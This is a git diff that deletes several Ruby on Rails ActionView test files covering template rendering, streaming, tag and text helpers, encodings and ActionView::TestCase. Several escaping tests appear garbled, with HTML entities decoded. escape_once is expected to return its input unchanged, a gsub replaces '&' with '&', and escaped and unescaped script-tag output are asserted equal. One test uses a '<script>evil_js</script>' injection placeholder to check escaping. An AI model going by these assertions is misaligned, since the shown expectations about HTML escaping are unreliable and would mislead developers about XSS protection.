-      @view.render(:partial => 'test/partial_with_layout_block_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
-  end
-
-  def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_content
-    assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n  Content from inside layout!\n\nAfterpartial with layout\n\nAfter),
-      @view.render(:partial => 'test/partial_with_layout_block_content', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
-  end
-
-  def test_render_partial_with_layout_raises_descriptive_error
-    e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: 'test/partial', layout: true) }
-    assert_match "Missing partial /true with", e.message
-  end
-
-  def test_render_with_nested_layout
-    assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
-      @view.render(:file => "test/nested_layout", :layout => "layouts/yield")
-  end
-
-  def test_render_with_file_in_layout
-    assert_equal %(\n<title>title</title>\n\n),
-      @view.render(:file => "test/layout_render_file")
-  end
-
-  def test_render_layout_with_object
-    assert_equal %(<title>David</title>),
-      @view.render(:file => "test/layout_render_object")
-  end
-
-  def test_render_with_passing_couple_extensions_to_one_register_template_handler_function_call
-    ActionView::Template.register_template_handler :foo1, :foo2, CustomHandler
-    assert_equal @view.render(:inline => "Hello, World!", :type => :foo1), @view.render(:inline => "Hello, World!", :type => :foo2)
-  end
-
-  def test_render_throws_exception_when_no_extensions_passed_to_register_template_handler_function_call
-    assert_raises(ArgumentError) { ActionView::Template.register_template_handler CustomHandler }
-  end
-end
-
-class CachedViewRenderTest < ActiveSupport::TestCase
-  include RenderTestCases
-
-  # Ensure view path cache is primed
-  def setup
-    view_paths = ActionController::Base.view_paths
-    assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class
-    setup_view(view_paths)
-  end
-
-  def teardown
-    GC.start
-  end
-end
-
-class LazyViewRenderTest < ActiveSupport::TestCase
-  include RenderTestCases
-
-  # Test the same thing as above, but make sure the view path
-  # is not eager loaded
-  def setup
-    path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
-    view_paths = ActionView::PathSet.new([path])
-    assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first
-    setup_view(view_paths)
-  end
-
-  def teardown
-    GC.start
-  end
-
-  def test_render_utf8_template_with_magic_comment
-    with_external_encoding Encoding::ASCII_8BIT do
-      result = @view.render(:file => "test/utf8_magic", :formats => [:html], :layouts => "layouts/yield")
-      assert_equal Encoding::UTF_8, result.encoding
-      assert_equal "\nРусский \nтекст\n\nUTF-8\nUTF-8\nUTF-8\n", result
-    end
-  end
-
-  def test_render_utf8_template_with_default_external_encoding
-    with_external_encoding Encoding::UTF_8 do
-      result = @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
-      assert_equal Encoding::UTF_8, result.encoding
-      assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result
-    end
-  end
-
-  def test_render_utf8_template_with_incompatible_external_encoding
-    with_external_encoding Encoding::SHIFT_JIS do
-      e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield") }
-      assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
-    end
-  end
-
-  def test_render_utf8_template_with_partial_with_incompatible_encoding
-    with_external_encoding Encoding::SHIFT_JIS do
-      e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield") }
-      assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
-    end
-  end
-
-  def with_external_encoding(encoding)
-    old = Encoding.default_external
-    silence_warnings { Encoding.default_external = encoding }
-    yield
-  ensure
-    silence_warnings { Encoding.default_external = old }
-  end
-end
diff --git a/actionpack/test/template/streaming_render_test.rb b/actionpack/test/template/streaming_render_test.rb
deleted file mode 100644
index 520bf3a..0000000
--- a/actionpack/test/template/streaming_render_test.rb
+++ /dev/null
@@ -1,109 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class TestController < ActionController::Base
-end
-
-class FiberedTest < ActiveSupport::TestCase
-  def setup
-    view_paths = ActionController::Base.view_paths
-    @assigns = { :secret => 'in the sauce', :name => nil }
-    @view = ActionView::Base.new(view_paths, @assigns)
-    @controller_view = TestController.new.view_context
-  end
-
-  def render_body(options)
-    @view.view_renderer.render_body(@view, options)
-  end
-
-  def buffered_render(options)
-    body = render_body(options)
-    string = ""
-    body.each do |piece|
-      string << piece
-    end
-    string
-  end
-
-  def test_streaming_works
-    content = []
-    body = render_body(:template => "test/hello_world", :layout => "layouts/yield")
-
-    body.each do |piece|
-      content << piece
-    end
-
-    assert_equal "<title>",      content[0]
-    assert_equal "",             content[1]
-    assert_equal "</title>\n",   content[2]
-    assert_equal "Hello world!", content[3]
-    assert_equal "\n",           content[4]
-  end
-
-  def test_render_file
-    assert_equal "Hello world!", buffered_render(:file => "test/hello_world")
-  end
-
-  def test_render_file_with_locals
-    locals = { :secret => 'in the sauce' }
-    assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals", :locals => locals)
-  end
-
-  def test_render_partial
-    assert_equal "only partial", buffered_render(:partial => "test/partial_only")
-  end
-
-  def test_render_inline
-    assert_equal "Hello, World!", buffered_render(:inline => "Hello, World!")
-  end
-
-  def test_render_without_layout
-    assert_equal "Hello world!", buffered_render(:template => "test/hello_world")
-  end
-
-  def test_render_with_layout
-    assert_equal %(<title></title>\nHello world!\n),
-      buffered_render(:template => "test/hello_world", :layout => "layouts/yield")
-  end
-
-  def test_render_with_layout_which_has_render_inline
-    assert_equal %(welcome\nHello world!\n),
-      buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
-  end
-
-  def test_render_with_layout_which_renders_another_partial
-    assert_equal %(partial html\nHello world!\n),
-      buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
-  end
-
-  def test_render_with_nested_layout
-    assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
-      buffered_render(:template => "test/nested_layout", :layout => "layouts/yield")
-  end
-
-  def test_render_with_file_in_layout
-    assert_equal %(\n<title>title</title>\n\n),
-      buffered_render(:template => "test/layout_render_file")
-  end
-
-  def test_render_with_handler_without_streaming_support
-    assert_match "<p>This is grand!</p>", buffered_render(:template => "test/hello")
-  end
-
-  def test_render_with_streaming_multiple_yields_provide_and_content_for
-    assert_equal "Yes, \nthis works\n like a charm.",
-      buffered_render(:template => "test/streaming", :layout => "layouts/streaming")
-  end
-
-  def test_render_with_streaming_with_fake_yields_and_streaming_buster
-    assert_equal "This won't look\n good.",
-      buffered_render(:template => "test/streaming_buster", :layout => "layouts/streaming")
-  end
-
-  def test_render_with_nested_streaming_multiple_yields_provide_and_content_for
-    assert_equal "?Yes, \n\nthis works\n\n? like a charm.",
-      buffered_render(:template => "test/nested_streaming", :layout => "layouts/streaming")
-  end
-
-end
diff --git a/actionpack/test/template/tag_helper_test.rb b/actionpack/test/template/tag_helper_test.rb
deleted file mode 100644
index 9e711c6..0000000
--- a/actionpack/test/template/tag_helper_test.rb
+++ /dev/null
@@ -1,130 +0,0 @@
-require 'abstract_unit'
-
-class TagHelperTest < ActionView::TestCase
-  include RenderERBUtils
-
-  tests ActionView::Helpers::TagHelper
-
-  def test_tag
-    assert_equal "<br />", tag("br")
-    assert_equal "<br clear=\"left\" />", tag(:br, :clear => "left")
-    assert_equal "<br>", tag("br", nil, true)
-  end
-
-  def test_tag_options
-    str = tag("p", "class" => "show", :class => "elsewhere")
-    assert_match(/class="show"/, str)
-    assert_match(/class="elsewhere"/, str)
-  end
-
-  def test_tag_options_rejects_nil_option
-    assert_equal "<p />", tag("p", :ignored => nil)
-  end
-
-  def test_tag_options_accepts_false_option
-    assert_equal "<p value=\"false\" />", tag("p", :value => false)
-  end
-
-  def test_tag_options_accepts_blank_option
-    assert_equal "<p included=\"\" />", tag("p", :included => '')
-  end
-
-  def test_tag_options_converts_boolean_option
-    assert_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" />',
-      tag("p", :disabled => true, :itemscope => true, :multiple => true, :readonly => true)
-  end
-
-  def test_content_tag
-    assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
-    assert content_tag("a", "Create", "href" => "create").html_safe?
-    assert_equal content_tag("a", "Create", "href" => "create"),
-                 content_tag("a", "Create", :href => "create")
-    assert_equal "<p><script>evil_js</script></p>",
-                 content_tag(:p, '<script>evil_js</script>')
-    assert_equal "<p><script>evil_js</script></p>",
-                 content_tag(:p, '<script>evil_js</script>', nil, false)
-  end
-
-  def test_content_tag_with_block_in_erb
-    buffer = render_erb("<%= content_tag(:div) do %>Hello world!<% end %>")
-    assert_dom_equal "<div>Hello world!</div>", buffer
-  end
-
-  def test_content_tag_with_block_and_options_in_erb
-    buffer = render_erb("<%= content_tag(:div, :class => 'green') do %>Hello world!<% end %>")
-    assert_dom_equal %(<div class="green">Hello world!</div>), buffer
-  end
-
-  def test_content_tag_with_block_and_options_out_of_erb
-    assert_dom_equal %(<div class="green">Hello world!</div>), content_tag(:div, :class => "green") { "Hello world!" }
-  end
-
-  def test_content_tag_with_block_and_options_outside_out_of_erb
-    assert_equal content_tag("a", "Create", :href => "create"),
-                 content_tag("a", "href" => "create") { "Create" }
-  end
-
-  def test_content_tag_nested_in_content_tag_out_of_erb
-    assert_equal content_tag("p", content_tag("b", "Hello")),
-                 content_tag("p") { content_tag("b", "Hello") },
-                 output_buffer
-  end
-
-  def test_content_tag_nested_in_content_tag_in_erb
-    assert_equal "<p>\n  <b>Hello</b>\n</p>", view.render("test/content_tag_nested_in_content_tag")
-  end
-
-  def test_content_tag_with_escaped_array_class
-    str = content_tag('p', "limelight", :class => ["song", "play>"])
-    assert_equal "<p class=\"song play>\">limelight</p>", str
-
-    str = content_tag('p', "limelight", :class => ["song", "play"])
-    assert_equal "<p class=\"song play\">limelight</p>", str
-  end
-
-  def test_content_tag_with_unescaped_array_class
-    str = content_tag('p', "limelight", {:class => ["song", "play>"]}, false)
-    assert_equal "<p class=\"song play>\">limelight</p>", str
-  end
-
-  def test_content_tag_with_data_attributes
-    assert_dom_equal '<p data-number="1" data-string="hello" data-string-with-quotes="double"quote"party"">limelight</p>',
-      content_tag('p', "limelight", data: { number: 1, string: 'hello', string_with_quotes: 'double"quote"party"' })
-  end
-
-  def test_cdata_section
-    assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
-  end
-
-  def test_cdata_section_splitted
-    assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]>", cdata_section("hello]]>world")
-    assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]]]><![CDATA[>again]]>", cdata_section("hello]]>world]]>again")
-  end
-
-  def test_escape_once
-    assert_equal '1 < 2 & 3', escape_once('1 < 2 & 3')
-  end
-
-  def test_tag_honors_html_safe_for_param_values
-    ['1&2', '1 < 2', '“test“'].each do |escaped|
-      assert_equal %(<a href="#{escaped}" />), tag('a', :href => escaped.html_safe)
-    end
-  end
-
-  def test_skip_invalid_escaped_attributes
-    ['&1;', '&#1dfa3;', '& #123;'].each do |escaped|
-      assert_equal %(<a href="#{escaped.gsub(/&/, '&')}" />), tag('a', :href => escaped)
-    end
-  end
-
-  def test_disable_escaping
-    assert_equal '<a href="&" />', tag('a', { :href => '&' }, false, false)
-  end
-
-  def test_data_attributes
-    ['data', :data].each { |data|
-      assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{"key":"value"}" data-string-with-quotes="double"quote"party"" data-string="hello" data-symbol="foo" />',
-        tag('a', { data => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: 'hello', symbol: :foo, array: [1, 2, 3], hash: { key: 'value'}, string_with_quotes: 'double"quote"party"' } })
-    }
-  end
-end
diff --git a/actionpack/test/template/template_error_test.rb b/actionpack/test/template/template_error_test.rb
deleted file mode 100644
index 91424da..0000000
--- a/actionpack/test/template/template_error_test.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require "abstract_unit"
-
-class TemplateErrorTest < ActiveSupport::TestCase
-  def test_provides_original_message
-    error = ActionView::Template::Error.new("test", Exception.new("original"))
-    assert_equal "original", error.message
-  end
-
-  def test_provides_useful_inspect
-    error = ActionView::Template::Error.new("test", Exception.new("original"))
-    assert_equal "#<ActionView::Template::Error: original>", error.inspect
-  end
-end
diff --git a/actionpack/test/template/template_test.rb b/actionpack/test/template/template_test.rb
deleted file mode 100644
index 8d32205..0000000
--- a/actionpack/test/template/template_test.rb
+++ /dev/null
@@ -1,207 +0,0 @@
-# encoding: US-ASCII
-require "abstract_unit"
-require "logger"
-
-class TestERBTemplate < ActiveSupport::TestCase
-  ERBHandler = ActionView::Template::Handlers::ERB.new
-
-  class LookupContext
-    def disable_cache
-      yield
-    end
-
-    def find_template(*args)
-    end
-
-    attr_accessor :formats
-  end
-
-  class Context
-    def initialize
-      @output_buffer = "original"
-      @virtual_path = nil
-    end
-
-    def hello
-      "Hello"
-    end
-
-    def apostrophe
-      "l'apostrophe"
-    end
-
-    def partial
-      ActionView::Template.new(
-        "<%= @virtual_path %>",
-        "partial",
-        ERBHandler,
-        :virtual_path => "partial"
-      )
-    end
-
-    def lookup_context
-      @lookup_context ||= LookupContext.new
-    end
-
-    def logger
-      ActiveSupport::Logger.new(STDERR)
-    end
-
-    def my_buffer
-      @output_buffer
-    end
-  end
-
-  def new_template(body = "<%= hello %>", details = { format: :html })
-    ActionView::Template.new(body, "hello template", details.fetch(:handler) { ERBHandler }, {:virtual_path => "hello"}.merge!(details))
-  end
-
-  def render(locals = {})
-    @template.render(@context, locals)
-  end
-
-  def setup
-    @context = Context.new
-  end
-
-  def test_mime_type_is_deprecated
-    template = new_template
-    assert_deprecated 'Template#mime_type is deprecated and will be removed' do
-      template.mime_type
-    end
-  end
-
-  def test_basic_template
-    @template = new_template
-    assert_equal "Hello", render
-  end
-
-  def test_basic_template_does_html_escape
-    @template = new_template("<%= apostrophe %>")
-    assert_equal "l'apostrophe", render
-  end
-
-  def test_text_template_does_not_html_escape
-    @template = new_template("<%= apostrophe %> <%== apostrophe %>", format: :text)
-    assert_equal "l'apostrophe l'apostrophe", render
-  end
-
-  def test_raw_template
-    @template = new_template("<%= hello %>", :handler => ActionView::Template::Handlers::Raw.new)
-    assert_equal "<%= hello %>", render
-  end
-
-  def test_template_loses_its_source_after_rendering
-    @template = new_template
-    render
-    assert_nil @template.source
-  end
-
-  def test_template_does_not_lose_its_source_after_rendering_if_it_does_not_have_a_virtual_path
-    @template = new_template("Hello", :virtual_path => nil)
-    render
-    assert_equal "Hello", @template.source
-  end
-
-  def test_locals
-    @template = new_template("<%= my_local %>")
-    @template.locals = [:my_local]
-    assert_equal "I am a local", render(:my_local => "I am a local")
-  end
-
-  def test_restores_buffer
-    @template = new_template
-    assert_equal "Hello", render
-    assert_equal "original", @context.my_buffer
-  end
-
-  def test_virtual_path
-    @template = new_template("<%= @virtual_path %>" \
-                             "<%= partial.render(self, {}) %>" \
-                             "<%= @virtual_path %>")
-    assert_equal "hellopartialhello", render
-  end
-
-  def test_refresh_with_templates
-    @template = new_template("Hello", :virtual_path => "test/foo/bar")
-    @template.locals = [:key]
-    @context.lookup_context.expects(:find_template).with("bar", %w(test/foo), false, [:key]).returns("template")
-    assert_equal "template", @template.refresh(@context)
-  end
-
-  def test_refresh_with_partials
-    @template = new_template("Hello", :virtual_path => "test/_foo")
-    @template.locals = [:key]
-    @context.lookup_context.expects(:find_template).with("foo", %w(test), true, [:key]).returns("partial")
-    assert_equal "partial", @template.refresh(@context)
-  end
-
-  def test_refresh_raises_an_error_without_virtual_path
-    @template = new_template("Hello", :virtual_path => nil)
-    assert_raise RuntimeError do
-      @template.refresh(@context)
-    end
-  end
-
-  def test_resulting_string_is_utf8
-    @template = new_template
-    assert_equal Encoding::UTF_8, render.encoding
-  end
-
-  def test_no_magic_comment_word_with_utf_8
-    @template = new_template("hello \u{fc}mlat")
-    assert_equal Encoding::UTF_8, render.encoding
-    assert_equal "hello \u{fc}mlat", render
-  end
-
-  # This test ensures that if the default_external
-  # is set to something other than UTF-8, we don't
-  # get any errors and get back a UTF-8 String.
-  def test_default_external_works
-    with_external_encoding "ISO-8859-1" do
-      @template = new_template("hello \xFCmlat")
-      assert_equal Encoding::UTF_8, render.encoding
-      assert_equal "hello \u{fc}mlat", render
-    end
-  end
-
-  def test_encoding_can_be_specified_with_magic_comment
-    @template = new_template("# encoding: ISO-8859-1\nhello \xFCmlat")
-    assert_equal Encoding::UTF_8, render.encoding
-    assert_equal "\nhello \u{fc}mlat", render
-  end
-
-  # TODO: This is currently handled inside ERB. The case of explicitly
-  # lying about encodings via the normal Rails API should be handled
-  # inside Rails.
-  def test_lying_with_magic_comment
-    assert_raises(ActionView::Template::Error) do
-      @template = new_template("# encoding: UTF-8\nhello \xFCmlat", :virtual_path => nil)
-      render
-    end
-  end
-
-  def test_encoding_can_be_specified_with_magic_comment_in_erb
-    with_external_encoding Encoding::UTF_8 do
-      @template = new_template("<%# encoding: ISO-8859-1 %>hello \xFCmlat", :virtual_path => nil)
-      assert_equal Encoding::UTF_8, render.encoding
-      assert_equal "hello \u{fc}mlat", render
-    end
-  end
-
-  def test_error_when_template_isnt_valid_utf8
-    assert_raises(ActionView::Template::Error, /\xFC/) do
-      @template = new_template("hello \xFCmlat", :virtual_path => nil)
-      render
-    end
-  end
-
-  def with_external_encoding(encoding)
-    old = Encoding.default_external
-    Encoding::Converter.new old, encoding if old != encoding
-    silence_warnings { Encoding.default_external = encoding }
-    yield
-  ensure
-    silence_warnings { Encoding.default_external = old }
-  end
-end
diff --git a/actionpack/test/template/test_case_test.rb b/actionpack/test/template/test_case_test.rb
deleted file mode 100644
index acd002c..0000000
--- a/actionpack/test/template/test_case_test.rb
+++ /dev/null
@@ -1,367 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_controllers'
-
-module ActionView
-
-  module ATestHelper
-  end
-
-  module AnotherTestHelper
-    def from_another_helper
-      'Howdy!'
-    end
-  end
-
-  module ASharedTestHelper
-    def from_shared_helper
-      'Holla!'
-    end
-  end
-
-  class TestCase
-    helper ASharedTestHelper
-
-    module SharedTests
-      def self.included(test_case)
-        test_case.class_eval do
-          test "helpers defined on ActionView::TestCase are available" do
-            assert test_case.ancestors.include?(ASharedTestHelper)
-            assert_equal 'Holla!', from_shared_helper
-          end
-        end
-      end
-    end
-  end
-
-  class GeneralViewTest < ActionView::TestCase
-    include SharedTests
-    test_case = self
-
-    test "memoizes the view" do
-      assert_same view, view
-    end
-
-    test "exposes view as _view for backwards compatibility" do
-      assert_same _view, view
-    end
-
-    test "retrieve non existing config values" do
-      assert_equal nil, ActionView::Base.new.config.something_odd
-    end
-
-    test "works without testing a helper module" do
-      assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
-    end
-
-    test "can render a layout with block" do
-      assert_equal "Before (ChrisCruft)\n!\nAfter",
-                    render(:layout => "test/layout_for_partial", :locals => {:name => "ChrisCruft"}) {"!"}
-    end
-
-    helper AnotherTestHelper
-    test "additional helper classes can be specified as in a controller" do
-      assert test_case.ancestors.include?(AnotherTestHelper)
-      assert_equal 'Howdy!', from_another_helper
-    end
-
-    test "determine_default_helper_class returns nil if the test name constant resolves to a class" do
-      assert_nil self.class.determine_default_helper_class("String")
-    end
-
-    test "delegates notice to request.flash[:notice]" do
-      view.request.flash.expects(:[]).with(:notice)
-      view.notice
-    end
-
-    test "delegates alert to request.flash[:alert]" do
-      view.request.flash.expects(:[]).with(:alert)
-      view.alert
-    end
-
-    test "uses controller lookup context" do
-      assert_equal self.lookup_context, @controller.lookup_context
-    end
-  end
-
-  class ClassMethodsTest < ActionView::TestCase
-    include SharedTests
-    test_case = self
-
-    tests ATestHelper
-    test "tests the specified helper module" do
-      assert_equal ATestHelper, test_case.helper_class
-      assert test_case.ancestors.include?(ATestHelper)
-    end
-
-    helper AnotherTestHelper
-    test "additional helper classes can be specified as in a controller" do
-      assert test_case.ancestors.include?(AnotherTestHelper)
-      assert_equal 'Howdy!', from_another_helper
-
-      test_case.helper_class.module_eval do
-        def render_from_helper
-          from_another_helper
-        end
-      end
-      assert_equal 'Howdy!', render(:partial => 'test/from_helper')
-    end
-  end
-
-  class HelperInclusionTest < ActionView::TestCase
-    module RenderHelper
-      def render_from_helper
-        render :partial => 'customer', :collection => @customers
-      end
-    end
-
-    helper RenderHelper
-
-    test "helper class that is being tested is always included in view instance" do
-      @controller.controller_path = 'test'
-
-      @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
-      assert_match(/Hello: EloyHello: Manfred/, render(:partial => 'test/from_helper'))
-    end
-  end
-
-  class ControllerHelperMethod < ActionView::TestCase
-    module SomeHelper
-      def some_method
-        render :partial => 'test/from_helper'
-      end
-    end
-
-    helper SomeHelper
-
-    test "can call a helper method defined on the current controller from a helper" do
-      @controller.singleton_class.class_eval <<-EOF, __FILE__, __LINE__ + 1
-        def render_from_helper
-          'controller_helper_method'
-        end
-      EOF
-      @controller.class.helper_method :render_from_helper
-
-      assert_equal 'controller_helper_method', some_method
-    end
-  end
-
-  class ViewAssignsTest < ActionView::TestCase
-    test "view_assigns returns a Hash of user defined ivars" do
-      @a = 'b'
-      @c = 'd'
-      assert_equal({:a => 'b', :c => 'd'}, view_assigns)
-    end
-
-    test "view_assigns excludes internal ivars" do
-      INTERNAL_IVARS.each do |ivar|
-        assert defined?(ivar), "expected #{ivar} to be defined"
-        assert !view_assigns.keys.include?(ivar.to_s.sub('@', '').to_sym), "expected #{ivar} to be excluded from view_assigns"
-      end
-    end
-  end
-
-  class HelperExposureTest < ActionView::TestCase
-    helper(Module.new do
-      def render_from_helper
-        from_test_case
-      end
-    end)
-    test "is able to make methods available to the view" do
-      assert_equal 'Word!', render(:partial => 'test/from_helper')
-    end
-
-    def from_test_case; 'Word!'; end
-    helper_method :from_test_case
-  end
-
-  class IgnoreProtectAgainstForgeryTest < ActionView::TestCase
-    module HelperThatInvokesProtectAgainstForgery
-      def help_me
-        protect_against_forgery?
-      end
-    end
-
-    helper HelperThatInvokesProtectAgainstForgery
-
-    test "protect_from_forgery? in any helpers returns false" do
-      assert !view.help_me
-    end
-
-  end
-
-  class ATestHelperTest < ActionView::TestCase
-    include SharedTests
-    test_case = self
-
-    test "inflects the name of the helper module to test from the test case class" do
-      assert_equal ATestHelper, test_case.helper_class
-      assert test_case.ancestors.include?(ATestHelper)
-    end
-
-    test "a configured test controller is available" do
-      assert_kind_of ActionController::Base, controller
-      assert_equal '', controller.controller_path
-    end
-
-    test "no additional helpers should shared across test cases" do
-      assert !test_case.ancestors.include?(AnotherTestHelper)
-      assert_raise(NoMethodError) { send :from_another_helper }
-    end
-
-    test "is able to use routes" do
-      controller.request.assign_parameters(@routes, 'foo', 'index')
-      assert_equal '/foo', url_for
-      assert_equal '/bar', url_for(:controller => 'bar')
-    end
-
-    test "is able to use named routes" do
-      with_routing do |set|
-        set.draw { resources :contents }
-        assert_equal 'http://test.host/contents/new', new_content_url
-        assert_equal 'http://test.host/contents/1',   content_url(:id => 1)
-      end
-    end
-
-    test "is able to use mounted routes" do
-      with_routing do |set|
-        app = Class.new do
-          def self.routes
-            @routes ||= ActionDispatch::Routing::RouteSet.new
-          end
-
-          routes.draw { get "bar", :to => lambda {} }
-
-          def self.call(*)
-          end
-        end
-
-        set.draw { mount app => "/foo", :as => "foo_app" }
-
-        assert_equal '/foo/bar', foo_app.bar_path
-      end
-    end
-
-    test "named routes can be used from helper included in view" do
-      with_routing do |set|
-        set.draw { resources :contents }
-        _helpers.module_eval do
-          def render_from_helper
-            new_content_url
-          end
-        end
-
-        assert_equal 'http://test.host/contents/new', render(:partial => 'test/from_helper')
-      end
-    end
-
-    test "is able to render partials with local variables" do
-      assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
-      assert_equal 'Eloy', render(:partial => 'developers/developer',
-                                  :locals => { :developer => stub(:name => 'Eloy') })
-    end
-
-    test "is able to render partials from templates and also use instance variables" do
-      @controller.controller_path = "test"
-
-      @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
-      assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
-    end
-
-    test "is able to render partials from templates and also use instance variables after view has been referenced" do
-      @controller.controller_path = "test"
-
-      view
-
-      @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
-      assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
-    end
-
-  end
-
-  class AssertionsTest < ActionView::TestCase
-    def render_from_helper
-      form_tag('/foo') do
-        safe_concat render(:text => '<ul><li>foo</li></ul>')
-      end
-    end
-    helper_method :render_from_helper
-
-    test "uses the output_buffer for assert_select" do
-      render(:partial => 'test/from_helper')
-
-      assert_select 'form' do
-        assert_select 'li', :text => 'foo'
-      end
-    end
-  end
-
-  class RenderTemplateTest < ActionView::TestCase
-    test "supports specifying templates with a Regexp" do
-      controller.controller_path = "fun"
-      render(:template => "fun/games/hello_world")
-      assert_template %r{\Afun/games/hello_world\Z}
-    end
-
-    test "supports specifying partials" do
-      controller.controller_path = "test"
-      render(:template => "test/calling_partial_with_layout")
-      assert_template :partial => "_partial_for_use_in_layout"
-    end
-
-    test "supports specifying locals (passing)" do
-      controller.controller_path = "test"
-      render(:template => "test/calling_partial_with_layout")
-      assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "David" }
-    end
-
-    test "supports specifying locals (failing)" do
-      controller.controller_path = "test"
-      render(:template => "test/calling_partial_with_layout")
-      assert_raise ActiveSupport::TestCase::Assertion, /Somebody else.*David/m do
-        assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "Somebody Else" }
-      end
-    end
-
-    test 'supports different locals on the same partial' do
-      controller.controller_path = "test"
-      render(:template => "test/render_two_partials")
-      assert_template partial: '_partial', locals: { 'first' => '1' }
-      assert_template partial: '_partial', locals: { 'second' => '2' }
-    end
-
-    test 'raises descriptive error message when template was not rendered' do
-      controller.controller_path = "test"
-      render(template: "test/hello_world_with_partial")
-      e = assert_raise ActiveSupport::TestCase::Assertion do
-        assert_template partial: 'i_was_never_rendered', locals: { 'did_not' => 'happen' }
-      end
-      assert_match "i_was_never_rendered to be rendered but it was not.", e.message
-      assert_match 'Expected ["/test/partial"] to include "i_was_never_rendered"', e.message
-    end
-
-    test 'specifying locals works when the partial is inside a directory with underline prefix' do
-      controller.controller_path = "test"
-      render(template: 'test/render_partial_inside_directory')
-      assert_template partial: 'test/_directory/_partial_with_locales', locals: { 'name' => 'Jane' }
-    end
-
-    test 'specifying locals works when the partial is inside a directory without underline prefix' do
-      controller.controller_path = "test"
-      render(template: 'test/render_partial_inside_directory')
-      assert_template partial: 'test/_directory/partial_with_locales', locals: { 'name' => 'Jane' }
-    end
-  end
-
-  module AHelperWithInitialize
-    def initialize(*)
-      super
-      @called_initialize = true
-    end
-  end
-
-  class AHelperWithInitializeTest < ActionView::TestCase
-    test "the helper's initialize was actually called" do
-      assert @called_initialize
-    end
-  end
-end
diff --git a/actionpack/test/template/testing/fixture_resolver_test.rb b/actionpack/test/template/testing/fixture_resolver_test.rb
deleted file mode 100644
index 9649f34..0000000
--- a/actionpack/test/template/testing/fixture_resolver_test.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'abstract_unit'
-
-class FixtureResolverTest < ActiveSupport::TestCase
-  def test_should_return_empty_list_for_unknown_path
-    resolver = ActionView::FixtureResolver.new()
-    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
-    assert_equal [], templates, "expected an empty list of templates"
-  end
-
-  def test_should_return_template_for_declared_path
-    resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
-    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
-    assert_equal 1, templates.size, "expected one template"
-    assert_equal "this text",      templates.first.source
-    assert_equal "arbitrary/path", templates.first.virtual_path
-    assert_equal [:html],          templates.first.formats
-  end
-end
diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb
deleted file mode 100644
index c2999fc..0000000
--- a/actionpack/test/template/text_helper_test.rb
+++ /dev/null
@@ -1,470 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-
-class TextHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::TextHelper
-
-  def setup
-    super
-    # This simulates the fact that instance variables are reset every time
-    # a view is rendered.  The cycle helper depends on this behavior.
-    @_cycles = nil if (defined? @_cycles)
-  end
-
-  def test_concat
-    self.output_buffer = 'foo'
-    assert_equal 'foobar', concat('bar')
-    assert_equal 'foobar', output_buffer
-  end
-
-  def test_simple_format_should_be_html_safe
-    assert simple_format("<b> test with html tags </b>").html_safe?
-  end
-
-  def test_simple_format
-    assert_equal "<p></p>", simple_format(nil)
-
-    assert_equal "<p>crazy\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("crazy\r\n cross\r platform linebreaks")
-    assert_equal "<p>A paragraph</p>\n\n<p>and another one!</p>", simple_format("A paragraph\n\nand another one!")
-    assert_equal "<p>A paragraph\n<br /> With a newline</p>", simple_format("A paragraph\n With a newline")
-
-    text = "A\nB\nC\nD".freeze
-    assert_equal "<p>A\n<br />B\n<br />C\n<br />D</p>", simple_format(text)
-
-    text = "A\r\n  \nB\n\n\r\n\t\nC\nD".freeze
-    assert_equal "<p>A\n<br />  \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text)
-
